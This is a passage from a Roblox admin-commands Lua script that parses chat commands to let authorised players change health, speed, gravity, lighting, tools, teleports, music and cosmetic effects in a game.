  1056. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1057. v.Character.Humanoid.MaxHealth = math.huge
  1058. v.Character.Humanoid.Health = 9e9
  1059. end
  1060. end))
  1061. end
  1062. end
  1063.  
  1064. if msg:lower():sub(1,6) == "ungod " then
  1065. local plrz = GetPlr(plr, msg:lower():sub(7))
  1066. for i, v in pairs(plrz) do
  1067. coroutine.resume(coroutine.create(function()
  1068. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1069. v.Character.Humanoid.MaxHealth = 100
  1070. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1071. end
  1072. end))
  1073. end
  1074. end
  1075.  
  1076. if msg:lower():sub(1,8) == "ambient " then
  1077. local chk1 = msg:lower():sub(9):find(" ") + 8
  1078. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1079. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1080. end
  1081.  
  1082. if msg:lower():sub(1,11) == "brightness " then
  1083. game.Lighting.Brightness = msg:sub(12)
  1084. end
  1085.  
  1086. if msg:lower():sub(1,5) == "time " then
  1087. game.Lighting.TimeOfDay = msg:sub(6)
  1088. end
  1089.  
  1090. if msg:lower():sub(1,9) == "fogcolor " then
  1091. local chk1 = msg:lower():sub(10):find(" ") + 9
  1092. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1093. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1094. end
  1095.  
  1096. if msg:lower():sub(1,7) == "fogend " then
  1097. game.Lighting.FogEnd = msg:sub(8)
  1098. end
  1099.  
  1100. if msg:lower():sub(1,9) == "fogstart " then
  1101. game.Lighting.FogStart = msg:sub(10)
  1102. end
  1103.  
  1104. if msg:lower():sub(1,7) == "btools " then
  1105. local plrz = GetPlr(plr, msg:lower():sub(8))
  1106. for i, v in pairs(plrz) do
  1107. coroutine.resume(coroutine.create(function()
  1108. if v and v:findFirstChild("Backpack") then
  1109. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1110. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1111. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1112. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1113. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1114. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1115. local sb
  1116. local hs
  1117. local pdist
  1118.  
  1119. script.Parent.Selected:connect(function(mouse)
  1120. if not mouse then return end
  1121. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1122. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1123. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1124. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1125. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1126. end)
  1127.  
  1128. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1129. end
  1130. end))
  1131. end
  1132. end
  1133.  
  1134. if msg:lower():sub(1,5) == "give " then
  1135. local chk1 = msg:lower():sub(6):find(" ") + 5
  1136. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1137. for i, v in pairs(plrz) do
  1138. coroutine.resume(coroutine.create(function()
  1139. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1140. for a, tool in pairs(game.Lighting:children()) do
  1141. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1142. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1143. end
  1144. end
  1145. end
  1146. end))
  1147. end
  1148. end
  1149.  
  1150. if msg:lower():sub(1,12) == "removetools " then
  1151. local plrz = GetPlr(plr, msg:lower():sub(13))
  1152. for i, v in pairs(plrz) do
  1153. coroutine.resume(coroutine.create(function()
  1154. if v and v.Character and v:findFirstChild("Backpack") then
  1155. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1156. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1157. end
  1158. end))
  1159. end
  1160. end
  1161.  
  1162. if msg:lower():sub(1,5) == "rank " then
  1163. local chk1 = msg:lower():sub(6):find(" ") + 5
  1164. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1165. for i, v in pairs(plrz) do
  1166. coroutine.resume(coroutine.create(function()
  1167. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1168. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1169. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1170. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1171. end
  1172. end))
  1173. end
  1174. end
  1175.  
  1176. if msg:lower():sub(1,7) == "damage " then
  1177. local chk1 = msg:lower():sub(8):find(" ") + 7
  1178. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1179. for i, v in pairs(plrz) do
  1180. coroutine.resume(coroutine.create(function()
  1181. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1182. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1183. end
  1184. end))
  1185. end
  1186. end
  1187.  
  1188. if msg:lower():sub(1,5) == "grav " then
  1189. local plrz = GetPlr(plr, msg:lower():sub(6))
  1190. for i, v in pairs(plrz) do
  1191. coroutine.resume(coroutine.create(function()
  1192. if v and v.Character and v.Character:findFirstChild("Torso") then
  1193. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1194. end
  1195. end))
  1196. end
  1197. end
  1198.  
  1199. if msg:lower():sub(1,8) == "setgrav " then
  1200. local chk1 = msg:lower():sub(9):find(" ") + 8
  1201. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1202. for i, v in pairs(plrz) do
  1203. coroutine.resume(coroutine.create(function()
  1204. if v and v.Character and v.Character:findFirstChild("Torso") then
  1205. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1206. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1207. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1208. end
  1209. end))
  1210. end
  1211. end
  1212.  
  1213. if msg:lower():sub(1,7) == "nograv " then
  1214. local plrz = GetPlr(plr, msg:lower():sub(8))
  1215. for i, v in pairs(plrz) do
  1216. coroutine.resume(coroutine.create(function()
  1217. if v and v.Character and v.Character:findFirstChild("Torso") then
  1218. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1219. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1220. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1221. end
  1222. end))
  1223. end
  1224. end
  1225.  
  1226. if msg:lower():sub(1,7) == "health " then
  1227. local chk1 = msg:lower():sub(8):find(" ") + 7
  1228. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1229. for i, v in pairs(plrz) do
  1230. coroutine.resume(coroutine.create(function()
  1231. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1232. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1233. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1234. end
  1235. end))
  1236. end
  1237. end
  1238.  
  1239. if msg:lower():sub(1,6) == "speed " then
  1240. local chk1 = msg:lower():sub(7):find(" ") + 6
  1241. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1242. for i, v in pairs(plrz) do
  1243. coroutine.resume(coroutine.create(function()
  1244. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1245. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1246. end
  1247. end))
  1248. end
  1249. end
  1250.  
  1251. if msg:lower():sub(1,5) == "team " then
  1252. local chk1 = msg:lower():sub(6):find(" ") + 5
  1253. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1254. for i, v in pairs(plrz) do
  1255. coroutine.resume(coroutine.create(function()
  1256. if v and game:findFirstChild("Teams") then
  1257. for a, tm in pairs(game.Teams:children()) do
  1258. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1259. end
  1260. end
  1261. end))
  1262. end
  1263. end
  1264.  
  1265. if msg:lower():sub(1,6) == "place " then
  1266. local chk1 = msg:lower():sub(7):find(" ") + 6
  1267. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1268. for i, v in pairs(plrz) do
  1269. coroutine.resume(coroutine.create(function()
  1270. if v and v:findFirstChild("PlayerGui") then
  1271. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1272. end
  1273. end))
  1274. end
  1275. end
  1276.  
  1277. if msg:lower():sub(1,3) == "tp " then
  1278. local chk1 = msg:lower():sub(4):find(" ") + 3
  1279. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1280. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1281. for i, v in pairs(plrz) do
  1282. coroutine.resume(coroutine.create(function()
  1283. for i2, v2 in pairs(plrz2) do
  1284. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1285. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1286. end
  1287. end
  1288. end))
  1289. end
  1290. end
  1291.  
  1292. if msg:lower():sub(1,7) == "change " then
  1293. local chk1 = msg:lower():sub(8):find(" ") + 7
  1294. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1295. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1296. for i, v in pairs(plrz) do
  1297. coroutine.resume(coroutine.create(function()
  1298. if v and v:findFirstChild("leaderstats") then
  1299. for a, st in pairs(v.leaderstats:children()) do
  1300. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1301. end
  1302. end
  1303. end))
  1304. end
  1305. end
  1306.  
  1307. if msg:lower():sub(1,6) == "shirt " then
  1308. local chk1 = msg:lower():sub(7):find(" ") + 6
  1309. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1310. for i, v in pairs(plrz) do
  1311. coroutine.resume(coroutine.create(function()
  1312. if v and v.Character then
  1313. for i,v in pairs(v.Character:children()) do
  1314. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1315. end
  1316. end
  1317. end))
  1318. end
  1319. end
  1320.  
  1321. if msg:lower():sub(1,6) == "pants " then
  1322. local chk1 = msg:lower():sub(7):find(" ") + 6
  1323. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1324. for i, v in pairs(plrz) do
  1325. coroutine.resume(coroutine.create(function()
  1326. if v and v.Character then
  1327. for i,v in pairs(v.Character:children()) do
  1328. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1329. end
  1330. end
  1331. end))
  1332. end
  1333. end
  1334.  
  1335. if msg:lower():sub(1,5) == "face " then
  1336. local chk1 = msg:lower():sub(6):find(" ") + 5
  1337. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1338. for i, v in pairs(plrz) do
  1339. coroutine.resume(coroutine.create(function()
  1340. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1341. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1342. end
  1343. end))
  1344. end
  1345. end
  1346.  
  1347. ------------------
  1348. -- Fun Commands --
  1349. ------------------
  1350. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1351.    
  1352. if msg:lower():sub(1,8) == "swagify " then
  1353. local plrz = GetPlr(plr, msg:lower():sub(9))
  1354. for i, v in pairs(plrz) do
  1355. coroutine.resume(coroutine.create(function()
  1356. if v and v.Character then
  1357. for i,v in pairs(v.Character:children()) do
  1358. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1359. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1360. end
  1361. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1362. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1363. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1364. local torso = plr.Character.Torso
  1365. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1366. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1367. p.Size = Vector3.new(.2,.2,.2)
  1368. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1369. local motor1 = Instance.new("Motor", p)
  1370. motor1.Part0 = p
  1371. motor1.Part1 = torso
  1372. motor1.MaxVelocity = .01
  1373. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1374. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1375. local wave = false
  1376. repeat wait(1/44)
  1377. local ang = 0.1
  1378. local oldmag = torso.Velocity.magnitude
  1379. local mv = .002
  1380. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1381. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1382. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1383. motor1.DesiredAngle = -ang
  1384. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1385. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
  1386. if torso.Velocity.magnitude < .1 then wait(.1) end
  1387. until not p or p.Parent ~= torso.Parent
  1388. script:Destroy()
  1389. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1390. end
  1391. end))
  1392. end
  1393. end
  1394.  
  1395. if msg:lower():sub(1,6) == "music " then
  1396. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1397. local id = msg:sub(7)
  1398. local pitch = 1
  1399. if tostring(id):lower():find("caramell") then id = 2303479 end
  1400. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1401. if tostring(id):find("rick") then id = 2027611 end
  1402. if tostring(id):find("halo") then id = 1034065  end
  1403. if tostring(id):find("pokemon") then id = 1372261 end
  1404. if tostring(id):find("cursed") then id = 1372257 end
  1405. if tostring(id):find("extreme") then id = 11420933 end
  1406. if tostring(id):find("awaken") then id = 27697277 end
  1407. if tostring(id):find("alone") then id = 27697392 end
  1408. if tostring(id):find("mario") then id = 1280470 end
  1409. if tostring(id):find("choir") then id = 1372258 end
  1410. if tostring(id):find("chrono") then id = 1280463 end
  1411. if tostring(id):find("dotr") then id = 11420922 end
  1412. if tostring(id):find("entertain") then id = 27697267 end
  1413. if tostring(id):find("fantasy") then id = 1280473 end
  1414. if tostring(id):find("final") then id = 1280414 end
  1415. if tostring(id):find("emblem") then id = 1372259 end
  1416. if tostring(id):find("flight") then id = 27697719 end
  1417. if tostring(id):find("banjo") then id = 27697298 end
  1418. if tostring(id):find("gothic") then id = 27697743 end
  1419. if tostring(id):find("hiphop") then id = 27697735 end
  1420. if tostring(id):find("intro") then id = 27697707 end
  1421. if tostring(id):find("mule") then id = 1077604 end
  1422. if tostring(id):find("film") then id = 27697713 end
  1423. if tostring(id):find("nezz") then id = 8610025 end
  1424. if tostring(id):find("angel") then id = 1372260 end
  1425. if tostring(id):find("resist") then id = 27697234 end
  1426. if tostring(id):find("schala") then id = 5985787 end
  1427. if tostring(id):find("organ") then id = 11231513 end
  1428. if tostring(id):find("tunnel") then id = 9650822 end
  1429. if tostring(id):find("spanish") then id = 5982975 end
  1430. if tostring(id):find("venom") then id = 1372262 end
  1431. if tostring(id):find("wind") then id = 1015394 end
  1432. if tostring(id):find("guitar") then id = 5986151 end
  1433. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1434. end
  1435.  
  1436. if msg:lower() == "stopmusic" then
  1437. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1438. end
  1439.  
  1440. if msg:lower() == "musiclist" then
  1441. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1442. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1443. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1444. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1445. end
  1446.  
  1447. if msg:lower():sub(1,4) == "fly " then
  1448. local plrz = GetPlr(plr, msg:lower():sub(5))
  1449. for i, v in pairs(plrz) do
  1450. coroutine.resume(coroutine.create(function()
  1451. if v and v:findFirstChild("PlayerGui") then
  1452. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1453. cl.Parent = v.PlayerGui cl.Disabled = false
  1454. end
  1455. end))
  1456. end
  1457. end
  1458.  
  1459. if msg:lower():sub(1,6) == "unfly " then
  1460. local plrz = GetPlr(plr, msg:lower():sub(7))
  1461. for i, v in pairs(plrz) do
  1462. coroutine.resume(coroutine.create(function()
  1463. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1464. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1465. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1466. wait(.1) v.Character.Humanoid.PlatformStand = false
  1467. end
  1468. end))
  1469. end
  1470. end
  1471.  
  1472. if msg:lower() == "disco" then
  1473. for i, v in pairs(lobjs) do v:Destroy() end
  1474. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1475. game.Lighting.Ambient = color
  1476. game.Lighting.FogColor = color
  1477. until nil]]
  1478. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1479. end
  1480.  
  1481. if msg:lower() == "flash" then
  1482. for i, v in pairs(lobjs) do v:Destroy() end
  1483. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1484. game.Lighting.Ambient = Color3.new(1,1,1)
  1485. game.Lighting.FogColor = Color3.new(1,1,1)
  1486. game.Lighting.Brightness = 1
  1487. game.Lighting.TimeOfDay = 14
  1488. wait(.1)
  1489. game.Lighting.Ambient = Color3.new(0,0,0)
  1490. game.Lighting.FogColor = Color3.new(0,0,0)
  1491. game.Lighting.Brightness = 0
  1492. game.Lighting.TimeOfDay = 0
  1493. until nil]]
  1494. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1495. end
  1496.  
  1497. if msg:lower():sub(1,5) == "spin " then
  1498. local plrz = GetPlr(plr, msg:lower():sub(6))
  1499. for i, v in pairs(plrz) do
  1500. coroutine.resume(coroutine.create(function()
  1501. if v and v.Character and v.Character:findFirstChild("Torso") then
  1502. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1503. local torso = v.Character:findFirstChild("Torso")
  1504. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1505. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1506. until not bg or bg.Parent ~= torso
  1507. end
  1508. end))
  1509. end
  1510. end
  1511.  
  1512. if msg:lower():sub(1,7) == "unspin " then
  1513. local plrz = GetPlr(plr, msg:lower():sub(8))
  1514. for i, v in pairs(plrz) do
  1515. coroutine.resume(coroutine.create(function()
  1516. if v and v.Character and v.Character:findFirstChild("Torso") then
  1517. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1518. end
  1519. end))
  1520. end
  1521. end
  1522.  
  1523. if msg:lower():sub(1,4) == "dog " then
  1524. local plrz = GetPlr(plr, msg:lower():sub(5))
  1525. for i, v in pairs(plrz) do
  1526. coroutine.resume(coroutine.create(function()
  1527. if v and v.Character and v.Character:findFirstChild("Torso") then
  1528. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1529. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1530. v.Character.Torso.Transparency = 1
  1531. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1532. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1533. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1534. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1535. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1536. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1537. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1538. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1539. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1540. end
  1541. end))
  1542. end
  1543. end
  1544.  
  1545. if msg:lower():sub(1,6) == "undog " then
  1546. local plrz = GetPlr(plr, msg:lower():sub(7))
  1547. for i, v in pairs(plrz) do
  1548. coroutine.resume(coroutine.create(function()
  1549. if v and v.Character and v.Character:findFirstChild("Torso") then
  1550. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1551. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1552. v.Character.Torso.Transparency = 0
  1553. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1554. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1555. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1556. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1557. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1558. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1559. end
  1560. end))
  1561. end
  1562. end
  1563.  
  1564. if msg:lower():sub(1,8) == "creeper " then
  1565. local plrz = GetPlr(plr, msg:lower():sub(9))
  1566. for i, v in pairs(plrz) do
  1567. coroutine.resume(coroutine.create(function()
  1568. if v and v.Character and v.Character:findFirstChild("Torso") then
  1569. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1570. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1571. v.Character.Torso.Transparency = 0
  1572. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
